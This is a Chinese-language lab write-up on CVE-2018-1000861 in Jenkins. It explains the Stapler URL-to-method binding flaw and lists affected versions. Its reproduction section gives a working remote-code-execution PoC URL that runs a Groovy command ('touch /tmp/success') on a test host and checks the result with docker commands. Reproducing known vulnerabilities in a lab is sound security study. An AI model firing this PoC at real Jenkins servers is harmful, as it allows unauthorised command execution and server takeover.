文章目录
- 一、Jenkins简介
- 二、CVE-2018-1000861简介
- 三、漏洞复现
一、Jenkins简介
Jenkins是一个独立的开源自动化服务器,由JAVA开发。
可用于自动化各种任务,如构建,测试和部署软件;也可以根据设定持续定期编译,运行相应代码;运行UT或集成测试;将运行结果发送至邮件,或展示成报告等。
Jenkins可以通过本机系统包Docker安装,也可以通过安装Java Runtime Environment的任何机器独立运行。
在很多中大型金融企业中普遍使用Jenkins来作为项目发布工具。
Jenkins特点:
开源免费,多平台支持(windows/linux/macos);
主从分布式架构;
提供web可视化配置管理页面;
安装配置简单、插件资源丰富.
二、CVE-2018-1000861简介
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
Stapler框架官方文档: Stapler使用应用程序对象的公共get方法将可访问的子对象绑定到 URL。
BookStore具有从库存单位 (SKU) 编号到相应Item对象的映射。对应的 Java 类如下所示:
public class BookStore {
public Map /* <String,Item> */ getItems () {
return items;
}
...
}
当客户端请求一个URL“/items/b1”时,Stapler 采取以下步骤来决定如何处理这个请求。
1、Stapler 知道 '/' 被映射到类的单例实例 BookStore。
2、Stapler 取下一部分 'items' 并注意到BookStore 该类有一个 method getItems,因此 Stapler 计算 x=bookStore.getItems()。
3、Stapler 从 URL 中取出下一部分 'b1' 并注意它x 是 a Map,因此Stapler评估y=x.get("b1")。
4、最后,因为处理了整个 URL,Stapler 会查找 index.jspfor y。
在示例中,bookStore.getItems().get("b1")返回一个Book 对象,因此侧文件/WEB-INF/side-files/example/Book/index.jsp用于处理此请求,并将“it”对象设置为此Book实例。
通过这种方式,只需定义get方法即可定义URL层次结构。
影响版本:
Jenkins 2.153及更早版本 Jenkins LTS 2.138.3及更早版本
三、漏洞复现
执行以下POC,POC来源于Orangetw
http://192.168.198.132:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true
&value=public class x {
public x(){
"touch /tmp/success".execute()
}
}
此时可查看/tmp/success是否创建成功,步骤如下:
docker ps -a //查看正在运行的容器ID,如下图ad7ba6a7699f为Jenkins容器的ID号
docker exec -it ad7ba6a7699f /bin/bash //通过exec命令对指定的容器执行 bash
ls /tmp